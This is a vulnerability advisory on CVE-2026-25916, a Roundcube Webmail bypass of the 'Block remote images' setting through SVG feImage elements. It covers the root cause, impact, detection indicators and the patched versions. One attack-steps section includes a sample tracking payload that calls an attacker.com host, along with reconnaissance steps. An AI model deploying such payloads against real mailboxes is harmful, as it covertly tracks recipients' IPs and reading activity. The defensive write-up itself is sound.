CVE-2026-25916: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-25916 is a security bypass vulnerability in Roundcube Webmail where the "Block remote images" feature fails to block SVG feImage elements, allowing external content to be loaded despite the protection being enabled. It affects Roundcube Webmail versions before 1.5.13 and 1.6.x before 1.6.13. The vulnerability was published on February 9, 2026, and was reported by the researcher known as "nullcathedral" (Red Hat Bugzilla, Roundcube Commit). It carries a CVSS v3.1 base score of 4.3 (Medium) (Red Hat Advisory).

The root cause is classified as CWE-420 (Unprotected Alternate Channel) — the image-blocking logic in program/lib/Roundcube/rcube_washtml.php checked href attributes on use and image SVG tags but omitted the feImage SVG filter element, leaving an unprotected alternate channel for loading remote resources. An attacker crafts an HTML email containing an SVG <feImage href="..."> element pointing to an attacker-controlled URL; when the victim opens the email, the browser fetches the remote resource despite the "Block remote images" setting being active. The fix, applied in commit 26d7677, extends the regex match in is_image_attribute() to also cover the feimage tag (Roundcube Commit, Red Hat Bugzilla). A public PoC demonstrating DOM-based XSS via the SVG href attribute is available on GitHub (PoC GitHub).

Successful exploitation allows an attacker to bypass the remote image blocking feature and load attacker-controlled external content when a victim opens a malicious email, enabling email read-receipt tracking and user activity monitoring without the victim's knowledge or consent. The primary confidentiality impact is low — limited to leaking the victim's IP address, approximate geolocation, email client metadata, and read timestamps to the attacker's server. Integrity and availability are not directly affected. The vulnerability requires user interaction (opening the email) but no authentication or special privileges on the attacker's part (Red Hat Advisory, Feedly Intelligence).

A public proof-of-concept exploit is available on GitHub targeting DOM-based XSS via the SVG href attribute, and exploitation has been reported via cxsecurity.com (PoC GitHub, CXSecurity). The EPSS score is approximately 0.028% (0.000280), indicating a currently low but non-zero probability of exploitation in the wild. The vulnerability is detected by multiple commercial scanners including Nessus (plugin IDs 298453, 298770, 299289, 299290, 301453, 311109) and Qualys (530943, 6274164). No specific threat actor attribution has been reported, and the vulnerability is not currently listed in the CISA KEV catalog.

1. Reconnaissance: Identify Roundcube Webmail instances running versions before 1.5.13 or 1.6.x before 1.6.13 using web fingerprinting tools (e.g., Shodan, Censys) or by inspecting login page version strings.
2. Craft malicious email: Compose an HTML email containing an SVG element with a feImage tag whose href attribute points to an attacker-controlled server (e.g., <svg><filter><feImage href="https://attacker.com/track.png?id=victim"/></filter></svg>).
3. Send to target: Deliver the crafted email to the victim's Roundcube-hosted mailbox via standard SMTP.
4. Trigger bypass: When the victim opens the email in Roundcube with "Block remote images" enabled, the browser fetches the feImage resource because the filter does not block feImage href attributes in vulnerable versions.
5. Collect data: The attacker's server logs the incoming HTTP request, capturing the victim's IP address, User-Agent, timestamp (confirming email was read), and any additional tracking parameters embedded in the URL (Roundcube Commit, PoC GitHub).

• Network: Outbound HTTP/HTTPS GET requests from the Roundcube server or client browser to unexpected external domains immediately upon email open events; requests containing tracking parameters (e.g., ?id=, ?uid=) to domains not associated with legitimate email content.
• Logs: Roundcube mail rendering logs showing SVG content with feImage elements in incoming emails; web server access logs on attacker infrastructure showing requests from victim IP addresses with Roundcube-associated User-Agent strings.
• Email Content: Presence of <feImage> or <feimage> SVG filter elements with external href attributes in raw email source (.eml files or mail store); SVG payloads embedded within HTML email bodies targeting Roundcube users.
• File System: Suspicious email files in the mail spool containing SVG filter markup with remote resource references (CXSecurity, Roundcube Commit).

Upgrade Roundcube Webmail to version 1.5.13 or later (for the 1.5.x branch) or 1.6.13 or later (for the 1.6.x branch), which include the fix in commit 26d7677 (Roundcube Commit). Debian, openSUSE, and Ubuntu have issued distribution-level security advisories and updated packages (Debian Announce, openSUSE Announce, Ubuntu Advisory). As a temporary workaround, administrators should be aware that disabling the "Block remote images" feature does not mitigate the issue — it merely removes the false sense of security; the only effective remediation is patching. Network-level egress filtering to block unexpected outbound connections from the mail server can reduce tracking effectiveness in the interim.

The vulnerability was discovered and reported by the researcher "nullcathedral," who published a technical write-up detailing the SVG feImage remote image bypass (nullcathedral Blog). Security media outlets including CyberPress and TechLomedia covered the issue, highlighting the risk of email tracking even when users believe remote images are blocked (CyberPress). Emerging Threats updated its ruleset to include detection for this vulnerability shortly after disclosure (Emerging Threats). BrinzTech reported broader context around Roundcube business webmail exposure in relation to this CVE (BrinzTech).